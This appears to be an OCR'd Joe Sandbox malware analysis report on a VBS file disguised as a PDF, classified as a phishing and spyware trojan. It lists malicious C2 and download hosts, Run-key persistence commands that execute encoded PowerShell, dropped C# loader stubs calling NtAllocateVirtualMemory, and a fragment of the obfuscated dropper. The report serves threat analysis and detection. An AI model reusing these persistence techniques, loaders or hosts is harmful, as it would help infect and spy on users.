Ccid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD5186
7%21312&authkey=AJEiJ04

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

ieinstal.exe, 0000001C.00000003.24953334 false
77.0000000005070000.00000004.00000800.00
020000.00000000.sdmp, ieinstal.exe, 0000
001C.00000003.2498783811.000000000507000
0.00000004.00000800.00020000.00000000.sdmp,
ieinstal.exe, 0000001C.00000003.2490758803.000
0000005071000.00000004.00000800.00020000
.00000000.sdmp, ieinstal.exe, 0000001C.00000003.24
95478624.0000000005081000.00000004.00000
800.00020000.00000000.sdmp, ieinstal.exe,
0000001C.00000003.2490830366.000000000
507A000.00000004.00000800.00020000.00000
000.sdmp, ieinstal.exe, 0000001C.0000000
3.2490666850.000000000506F000.00000004.0
0000800.00020000.00000000.sdmp, ieinstal.exe, 0000
001C.00000002.2504032719.000000000507000
0.00000004.00000800.00020000.00000000.sdmp,
ieinstal.exe, 00000020.00000003.2667344429.000
000000481F000.00000004.00000800.00020000
.00000000.sdmp, ieinstal.exe, 00000020.00000003.26
64518892.0000000004831000.00000004.00000
800.00020000.00000000.sdmp, ieinstal.exe,
00000020.00000003.2659206806.000000000
4821000.00000004.00000800.00020000.00000
000.sdmp, ieinstal.exe, 00000020.0000000
3.2659027511.000000000481E000.00000004.0
0000800.00020000.00000000.sdmp, ieinstal.exe, 0000
0020.00000003.2659302297.000000000482A00
0.00000004.00000800.00020000.00000000.sdmp,
ieinstal.exe, 00000020.00000003.2664137639.000
0000004820000.00000004.00000800.00020000
.00000000.sdmp, ieinstal.exe, 00000020.00000002.26
72748777.000000000481F000.00000004.00000
800.00020000.00000000.sdmp, CasPol.exe,
00000027.00000002.6393200586.000000001D5
4E000.00000004.00000800.00020000.0000000
0.sdmp

ieinstal.exe, 0000001A.00000003.26113846 false
47.0000000003441000.00000004.00000020.00
020000.00000000.sdmp, ieinstal.exe, 0000
001A.00000002.6350241246.000000000344100
0.00000004.00000020.00020000.00000000.sdmp

ieinstal.exe, 0000001C.00000002.25021576 false
33.0000000002F86000.00000004.00000010.00
020000.00000000.sdmp, ieinstal.exe, 00000020.00000
002.2671019533.0000000000706000.00000004
.00000010.00020000.00000000.sdmp

ieinstal.exe, 0000001A.00000002.63391755 true
32.0000000003350000.00000004.00000020.00
020000.00000000.sdmp

e Avira URL Cloud: safe

CasPol.exe, 00000027.00000002.6348628916 false
.0000000000DD2000.00000004.00000020.0002
0000.00000000.sdmp

powershell.exe, 00000015.00000002.235774 false
7976.00000000048E6000.00000004.00000800.
00020000.00000000.sdmp, powershell.exe,
00000015.00000002.2381742196.0000000007F
05000.00000004.00000800.00020000.0000000

0.sdmp

CasPol.exe, 00000027.00000002.6348628916 false
.0000000000DD2000.00000004.00000020.0002
0000.00000000.sdmp

CasPol.exe, 00000027.00000003.3254938732 false
.0000000000E20000.00000004.00000020.0002
0000.00000000.sdmp

ieinstal.exe, 0000001A.00000002.63449848 false
69.00000000033D1000.00000004.00000020.00
020000.00000000.sdmp, ieinstal.exe, 0000
001A.00000003.2611384647.000000000344100
0.00000004.00000020.00020000.00000000.sdmp,
ieinstal.exe, 0000001A.00000002.6350241246.000
0000003441000.00000004.00000020.00020000
.00000000.sdmp, ieinstal.exe, 0000001A.00000002.63
43660650.00000000033B8000.00000004.00000
020.00020000.00000000.sdmp, ieinstal.exe,
0000001A.00000003.2611120779.000000000
342C000.00000004.00000020.00020000.00000
000.sdmp

CasPol.exe, 00000027.00000002.6348628916 false
.0000000000DD2000.00000004.00000020.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000003.3255113193.0000000000E33000.00
000004.00000020.00020000.00000000.sdmp

Reputation

high

high

high

unknown

high

high

high

high

high

high
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Name

http://https://aka.ms/pscore6IB

http://https://contoso.com/

http://https:/nuget.org/nuget.exe

http://DynDns.comDynDNSnamejidpasswordPsi/Psi

http://mHPdOL.com

http://https://www.google.com/accounts/servicelogin
http://https://login.yahoo.com/config/login
http://https://VaZy5UilfWirw.com

http://https://srod3g.dm.files.1drv.com/y4m1P90Kk2H-
cNQxXOJImgK2HftFgWGVGMYnAecew4|QelLIJRVES3
Mvm9AZePLE-7ycB

http://https://onedrive.live.com/download?
cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD5186
7%21315&authkey=AOvGd5g

http://www.nirsoft.net/

http://api.telegram.org

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source

powershell.exe, 00000015.00000002.235586
0681.0000000004781000.00000004.00000800.
00020000.00000000.sdmp, powershell.exe,
00000023.00000002.3297101465.00000000048
E1000.00000004.00000800.00020000.0000000
0.sdmp

powershell.exe, 00000015.00000002.237076
1640.00000000057E9000.00000004.00000800.
00020000.00000000.sdmp

powershell.exe, 00000015.00000002.237076
1640.00000000057E9000.00000004.00000800.
00020000.00000000.sdmp

CasPol.exe, 00000027.00000002.6392324112
.000000001D4D1000.00000004.00000800.0002
0000.00000000.sdmp

CasPol.exe, 00000027.00000002.6392324112
.000000001D4D1000.00000004.00000800.0002
0000.00000000.sdmp

ieinstal.exe
ieinstal.exe

CasPol.exe, 00000027.00000002.6394213708
.000000001D5D8000.00000004.00000800.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000002.6392324112.000000001D4D1000.00
000004.00000800.00020000.00000000.sdmp,
CasPol.exe, 00000027.00000002.6394104232
.000000001D5D4000.00000004.00000800.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000003.3377494338.000000001C1D1000.00
000004.00000020.00020000.00000000.sdmp,
CasPol.exe, 00000027.00000002.6393763350
.000000001D5B1000.00000004.00000800.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000002.6394488088.000000001D5F0000.00
000004.00000800.00020000.00000000.sdmp

ieinstal.exe, 0000001A.00000002.63425499
34.000000000339B000.00000004.00000020.00
020000.00000000.sdmp

ieinstal.exe, 0000001A.00000002.63425499
34.000000000339B000.00000004.00000020.00
020000.00000000.sdmp

ieinstal.exe, 00000022.00000002.26371349
24.0000000000400000.00000040.00000400.00
020000.00000000.sdmp

CasPol.exe, 00000027.00000002.6394488088
.000000001D5F0000.00000004.00000800.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000002.6395626206.000000001D665000.00
000004.00000800.00020000.00000000.sdmp

powershell.exe, 00000015.00000002.235586
0681.0000000004781000.00000004.00000800.
00020000.00000000.sdmp, powershell.exe,
00000023.00000002.3297101465.00000000048
E1000.00000004.00000800.00020000.0000000
0.sdmp, CasPol.exe, 00000027.00000002.63
94320921.000000001D5DC000.00000004.00000
800.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false
false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

high

unknown

high

unknown

unknown

high
high

unknown

high

high

high

high

high
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[] No. of IPs < 25%
I 25% < No. of IPs < 50%

Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs

1P Domain Country Flag ASN ASN Name Malicious

13.107.43.12 1-0003.I-dc-msedge.net United States £S5 8068 MICROSOFT-CORP-MSN- false
AS-BLOCKUS

13.107.43.13 1-0004.]-dc-msedge.net United States =] 8068 MICROSOFT-CORP-MSN- false
AS-BLOCKUS

149.154.167.220 api.telegram.org United Kingdom ] 62041 TELEGRAMRU false

185.19.85.162 myfrontmannyfour.ddns.n  Switzerland 48971 DATAWIRE-ASCH true

et

148.66.138.165 vegproworld.com Singapore = 26496 AS-26496-GO-DADDY- true
COM-LLCUS

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 625179

Start date and time: 12/05/202214:13:53 2022-05-12 14:13:53 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 21m 4s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: doc_65398086_4190362045539.pdf.vbs

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe

Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 44

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled
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Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

default

Timeout

MAL

mal100.phis.troj.spyw.evad.winVBS@33/27@7/5

.

.

.

.

.

.

3

.

.

.

Successful, ratio: 100%

Successful, ratio: 6.8% (good quality ratio 6.3%)
Quality average: 66%
Quality standard deviation: 28.2%

Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .vbs

Adjust boot time
Enable AMSI

e Exclude process from analysis (whitelisted): taskhostw.exe, MusNotification.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe,
backgroundTaskHost.exe, svchost.exe, MusNotificationUx.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 51.105.236.244, 20.82.207.122, 92.122.144.200, 13.107.42.13

e Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, odc-dm-files-geo.onedrive.akadns.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.n
et, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, |-0004.I-msedge.net, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.I-msedge.net, login.live.
com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, client.wns.windows.com, odc-dm-files-brs.onedrive.akadns.net, fs.microsoft.com, odc-web-
geo.onedrive.akadns.net, tile-service. weather.microsoft.com, wd-prod-cp-eu-north-2-fe.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com,
e1723.g.akamaiedge.net, wdcp.microsoft.com, wd-prod-cp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, wdcpalt.microsoft.com, wd-prod-cp-eu-west-1-fe.westeur
ope.cloudapp.azure.com, dm-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.I-msedge.net

e o o o o o o o o

Simulations

Behavior and APIs
Time

14:16:57

14:17:31

14:17:40
14:19:08

14:19:13
14:19:16

Type
API Interceptor

Autostart

Autostart

Autostart

API Interceptor

Autostart

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

Copyright Joe Security LLC 2022

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum capacity and may have missing b ehavior information.

Report size exceeded maximum capacity and may have missing d isassembly code.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, t oo many NtReadVirtualMemory calls found.

Description

76x Sleep call for process: powershell.exe modified

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Oratorieto %Vitell% -w 1 $PAKETTE=(Get-ltemP
roperty -Path 'HKCU:\SOFTWARE\AppDatalLow\').Runkelro;%Vitell% -encodedcommand($PAKETTE)

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Oratorieto %Vitell% -w 1 $SPAKETTE=(Get-Ite
mProperty -Path 'HKCU:\SOFTWARE\AppDatalow\').Runkelro;%Vitell% -encodedcommand($PAKETTE)

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Mongrelis %Vitell% -w 1 $MICR=(Get-ItemPrope
rty -Path 'HKCU:\SOFTWARE\AppDataLow\').Koketteren2;%Vitell% -encodedcommand($MICR)

1749x Sleep call for process: CasPol.exe modified

Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\Run Mongrelis %Vitell% -w 1 $MICR=(Get-ltemPro
perty -Path 'HKCU:\SOFTWARE\AppDataLow\').Koketteren2;%Vitell% -encodedcommand($MICR)
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JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

modified

5829

4.901739309084484

false

96:7sCJI2Woe5wv2k6Lm5emmXIGvgyg12jDs+un/iQLEY FjDaeWJ6KGecmXz9smgFRLcu:Pxoe5GVsm5emdsgkjDt4iWN3yBGHDIsj
282A064FB3FOE5S8EC10467E027EA203A

B5DCBF5AE67C4B57BA74CA9F614CFB2341F2E62A
86E625B4810E5358AD45B8D99BABIF94671D39F1424F6E66F1B0661E73E4074F
984F355177D075808049E713A5DFCC12A742CBEF8F3499201C3798EF7A156F8A80A71BB589400D3AFBD5DEDEC4FAOEFD66148F02FAEB2881298D4529F659EF3

false

........ New-ScriptFilelnfo....
.Save-Module........Save-Scrip

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

871

5.2974065929444025

false
12:V/DGrbhQzPpN+RmgkrWeszPpN9zL2xgS2g5a+HNK+4t0+M6hOQLrOsG:JobSzeRmgkr7iFL2m7q5fHNyhjni
B0OC4D854DD730B30AEA1BD746BB6FBCD

8BC1444A76D62F0346DAD934B5FF66B6FAB20ESL
AO6E857E542E86D49C3D292EE52EE7A26E90C9083486B8AC568D8739D65141F4

505DB2A1FBDC8BB27C9B46D481F02E52CC7F02EC1A58CCF38ACD7D8780F48B94CE910B371A71B4502826C22B83B2BDA5827FF6E61259DCB484E2F27FIBAF4A(
9B

false

.using System;..using System.Runtime.InteropServices;..public static class ROTATIONFOL1..{..[Dllimport("gdi32")]public static extern IntPtr EnumFontsA(string fer
skva,uint parapleg,int DEPO,int ROTATIONFOO,int Hove,int afterrak,int Svinghjulel);..[Dllimport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr
Viac([MarshalAs(UnmanagedType.LPStr)]string ferskva,uint parapleg,int DEPO,int ROTATIONFOO,int Hove,int afterrak,int Svinghjulel);..[Dllimport("ntdll")]public static ex
tern int NtAllocateVirtualMemory(int ROTATIONFOG,ref Int32 TERRA, int Maniokp,ref Int32 ROTATIONFO, int Phonolo,int ROTATIONFO7);..[Dllimport("KERNEL32",
EntryPoint="ReadFile")]public static extern int CDAC(int ManiokpO,uint Maniokp1,IntPtr Maniokp2,ref Int32 Maniokp3,int Maniokp4);..[Dllimport("USER32")]public static ex
tern IntPtr EnumWindows(IntPtr Maniokp5,int Maniokp6);....}

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
dropped

371

5.210865302495579

false

6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2CN23f90E/+zxs7+AEszICN23f90Eb:p37Lvkmb6Km1oEGWZE710Eb
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MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

3C77EABD776B54AF29946F7644C616C9

13095DFEC74EA96A0E50480F59CA87059DC10EES

5C320986C60E163C8376935F7A45580BF8A7CDD150A1A66751DBEF90BE224C0B
3B9B546495C30B06310B30860F4F7282803B8CE207E8FCICI1EI8D5488CA22C74B0C37250145FA66F99BE7E71E31D052DEFF4A52A29EADS2924A26BAFC71781¢
false

Jt:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll" /debug- /optimize+ /warnaserror /optimize+ "C
\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs"

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

3.2630995594396133

false

48:61JKIm4L9k7zgbRNUcjaceNJaZrUflulma3SqK:+mEOeRKo0jT4KS
6C0D1635DE8639B38DF998F32DFDEBDS
7F3727D1B12714789716EB2AB50A589992B38F7A
DCFF2E88F1AE188C4FADFEC187FEF50FOBFCBEC875AE44A668B84CD69C270E75

04ED8D5974CC78342BD16D4B41428A6E42832DA2CF248A8E07408413BB40CFF7028B1A0DAB6FOF64FEEF90804FA33013FFF9AF171E562C89A0D704B72276BCF
E

false

Lo Seeeediii

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.out

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

870

5.299755073488665

false

24:KSqd3ka6Km1oAE710PKax5DqBVKVrdFAMBJITH:dika6PiAE7iPK2DcVKdBJj
A93DDA465314B7C441683A04652EA331
AF72AC9582068A16C9A875C9637D2E72DB25B70A
3F8889F0FA3B2D86363CCE5952D03C44D3D1DD3E40A62A4DE831FD15C74C7BF9

938F4586566B5BBFA491BB39FAG66A4D3EBBACIEE1200A35E2F14B360244A491034A71B4BEAD849854C80DD190EA86BC2F5SEE2B59EEBA2AOBC42FD933750EE
BO7

false

.C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\15yt3nse\15yt3nse.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs"......Microsoft (R) Visual C#
Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework,
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see
http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.0983281083779732

false
12:DXt4li3ntuAHia5YA49aUGigMZAiN5gryoak7YnqqOPN5DIg5J:+RI+ycuZhNmakSOPNngX
4A61626BF41FFCOAD3E170E95172D26C
7387B4B4FA04B75DEC11D7C4B221AA9AD387906F
B5E6D30E245928F747A9C870A0FDEA1583124735831D96420F01CB29A54F24E2
5EFF0978EFBD3FA3C6F158ED0067FAF795A5775877E1962CC3A5189D7F4B5031CFC40CA7E4B216B11454C275E2A65033D024A48DC6396366CBF30C48DD33024

false
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o0 L4V.S._V.E.R.S.I.LO.N._.LN.F.O D...V.arF.ilelnfo...$..Trans.latio.n
S.trin.g.F.ilelnfo......0.0.0.0.04.b.0...,...FileD.es.crip.tio.n.....0...F.ileV.ers.ion...0..0..0..0..<..lnternalNam.e..15y.t3.ns.e..d.ll
.Leg.alcC.o.pyright. ..D..OriginalF.ilenam.e..15yt3.ns.e..dll..4..Pro.du.c.tV.ers.io.n.0..0..0..0.8..Assemb.ly. Vers.io.n..0..
0...0...0...

Preview:

C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.0.cs

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category: dropped

Size (bytes): 888

Entropy (8bit):  5.22021899095466

Encrypted: false

SSDEEP: 24:J0QhSMIKARmMgkr7xIKfLn2GVbHNBOW1yA4F:JoQhSFXmhr7uWRxB9IA4F

MDS5: OE7D089253A12681FF154305095D7566

SHAL: 95F860856A6AE1E6B611B59F3B3F8B85791B967C

SHA-256: 2BDB7B51608BBA7AC75B64BE848CBI1A6CBECAC35D3C91002297560F465155FB

SHA-512: 9D3DC2A05AF10271BB1F775322A155C800DD418D3232400B38B625B30BDA0B62E1452976E89186B673251D14502B2AF52C7831AA4D0CAA6B14A5F489B5757D2/4
Malicious: false

Preview: .using System;..using System.Runtime.InteropServices;..public static class Terrak51..{..[Dllimport("gdi32")]public static extern IntPtr EnumFontsA(string mazeb,uint retro

datet,int STRIKV,int Terrak50,int KRSELS,int SILE,int Indtappe);..[Dllimport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([MarshalAs(U
nmanagedType.LPStr)]string mazeb,uint retrodatet,int STRIKV,int Terrak50,int KRSELS, int SILE,int Indtappe);..[Dlllmport("ntdll")]public static extern int NtAllocateVirtua
IMemory(int Terrak56,ref Int32 Kritikkerd8,int Pumicosefa7,ref Int32 Terrak5,int Discommen2,int Terrak57);..[Dllimport("KERNEL32", EntryPoint="ReadFile")]public static
extern int CDAC(int Pumicosefa70,uint Pumicosefa71,IntPtr Pumicosefa72,ref Int32 Pumicosefa73,int Pumicosefa74);..[Dllimport("USER32")]public static extern IntPtr
EnumWindows(IntPtr Pumicosefa75,int Pumicosefa76);....}

C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 371

Entropy (8bit):  5.213029100420306

Encrypted: false

SSDEEP: 6:pAu+H2LvkuqJDdgxLTKbDdqB/6K2CN23fzEVxzxs7+AEszICN23fzEVayA:p37Lvkmb6KmexWZE7ejA

MD5: 0B27A015A1DA7071BD5E4466215A60AA

SHA1L: D1EBCC7E3B4902F01C3D01422AC25026451EA4FB

SHA-256: 5B1AD311C79DAF91056DB31DC2B6ABE3B136849ADDF79587BE85C3B7729D6214

SHA-512: 6CC985536EE22D431E0337A77DCEB044AADCB5AD788600436A2522F940045193C7EDD3B5780F897C9EF1A7DB51F0180E606C2DC88746BSEDCAABS5B0O1DAL65]
FC

Malicious: false

Preview: Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys

tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dll" /debug- /optimize+ /warnaserror /optimize+ “C
\Users\usen\AppData\Local\Temp\5gap5ezo\5gap5ez0.0.cs"”

C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dll

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

File Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped

Size (bytes): 3584

Entropy (8bit):  3.292818694136879

Encrypted: false

SSDEEP: 48:6sPud4zw/IEIA5qF12G+3rjaavJ+nr21ulDea3Kdqg:pubw/I[EIAKAD6aMNBK

MD5: 9625F68BA58B900E3F17FBC13EA1FDSC

SHAL: 6D4826411A6AA7DA7B6537BOFB080F04CFD645AE

SHA-256: F81878C744679D7511A7E8966C4C6C589126B0B4627C704BB5B20CBE4592042B

SHA-512: 129B232101F540F72D7004C265528C4710A0DB86A831516C0327D2C0F68D1CC325B036B30F49398D408E539472191749FD28C810094F089D92B0F188625F40D0
Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.out
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Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category: modified
Size (bytes): 870

Entropy (8bit):  5.298157274023789

Encrypted: false

SSDEEP: 24:KSqd3ka6KmZE7alKax5DgBVKVrIdFAMBJITH:dika6PZE7gK2DcVKdBJj

MD5: 0CDD78D02604739776F8ED5C4E1BD98D

SHAL: 28A65165E56B472684D88F2226678021BB094FE3

SHA-256: 1B6BA0CC5236DBD1C617466EEF212E6EEB01DC097A5D21B262BOCAG7F757264C

SHA-512: A4AC37935ECBBAB8AF943CCA0867609E19D220F79C12D7B365D84AC7542C267261121D4401BC8A0BAGSFIAIDAACFABE716326939EF8A45FB21BOF3F71BES4F
El

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC

_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\5gap5ezo\5gap5ezo.dil" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ez0.0.cs"......Microsoft (R) Visual
C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Fra
mework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming |
anguage, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BDOABCCBE4C73AB31BODCB5E94165.TMP

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit):  3.0946658835425644

Encrypted: false

SSDEEP: 12:DXt4li3ntuAHia5YA49aUGigMZAiIN5gry8Seak7Ynqq/S/PN5DIg5J:+RI+ycuZhNGSeakS/S/PNngX

MD5: E56A0A6DDB2D5993E03B0021B9F426E1L

SHA1L: F972CAF2166AEB2536FD94E0B275814215600CAF

SHA-256: 40E330A288078D57EF29A5CE4FA1513207E6A15D3B97734526D90653DB5C256C

SHA-512: 6240EB9000785F5B7F3342935459CB22612768B3865DBFAC01584A34B0B33E7B697EC7CEEC1F22C1BE2E49AC1A468901F1FA4FAB2C7BB219065F1315D4C0B04
Malicious: false

Preview: .0 L4 V.S._VERS.ION_LNF.O D...V.arF.ilelnfo...$..Translation..

S.tring.F.ilelnfo.....0.0.0.0.04b.0..,...FileDes.cription... ..0..FileV.ers.io.n..0..0..0.0.<..lnternalNam.e..5g.ap.5.ezo..d.l
.LegalCo.pyright...D..OriginalF.ilenam.e..5gap5ezo.dll..4..ProductV.ers.ion..0..0..0..0.8..Assemb.ly. Vers.ion..0.
0...0...0...

C:\Users\user\AppData\Local\Temp\Medalj.vbs

Process: C:\Program Files (x86)\Internet Exploren\ieinstal.exe

File Type: ASCII text, with very long lines, with CRLF line terminators
Category: dropped

Size (bytes): 246390

Entropy (8bit):  4.51626715379855

Encrypted: false

SSDEEP: 1536:v5GM1dkJ/Qoa82hbCCUBKGMU3vVI+UdfténrtgkC3wMT15BarEIEgThZulJdYEKFH:vQKaJloa8AmYF8UdfKZgkCrTswEVzuzZH

MD5: 264CD4BE69CDC565977A7FD2723E34B3

SHAL: F34CE2DB011F024F10FF279C252BB992C5DC7C1B

SHA-256: D9B9145E206F61A5C46C1120102D36155BF65FAB99B2B0130F9FC5A37BF5A87B

SHA-512: 59833577B475D6E93D931E1E928A4AEE406C274A3D7BC1F2E99453025CF66B8959BF22EC6D32714F8468351A00ACA7D3F0957E6B921CB079B1554DAF133C18A!
Malicious: false

Preview: ‘Afbud FJERDRA Retnin Smelte7 Flgesygdo9 afskaffels maecena Sirpl8 Diakonik9 Rumpe Bequea flussp elite INGREDIEN Mesarteri2 HYPOME Wettabl7 ..'FORFRE

FRAULEINEN anlbs demipik BLATTEDU meca Bayon PERIDINIAC STEE Unseptated Pluricus Fuld design sikk WHOLENE Konfid4 Teiaschlo Inddampgi9 Diskkatl
Galanteelv klunsende REAKTORER sikke Depagani Fallose Gasm SCLER Ellesk ..'overregi Fyresedler Conventio SQUIR Nonaggre4 KELP Tonnel Carbon3 Regionsp9
Glockens that Tacitly bilirubin Genopsla2 Overilep Unbetideva4 INGANGSBR sudorber signb Mankoenti Auxinices Militarise8 skidengr Brugersk9 Sontagcam7 FJISPORT
bodelscir Mise4 concert ..'Unrulyfa sogneforen OMFORME baikerite Opvrid2 drift PECC Caloresce Afplukn8 cestast TOUG skriftef Anserinl simplif UDRU ..'Intox r
emonstr forby Tilstil SYPHILO Rawh Spati Skrf miljtek Rhysk Tweez8 CHOLOPHE Cort Alveolar Restaurant3 Irremiss5 Dominial9 Boist7 saks SULPH PERCEIVE sagnfig
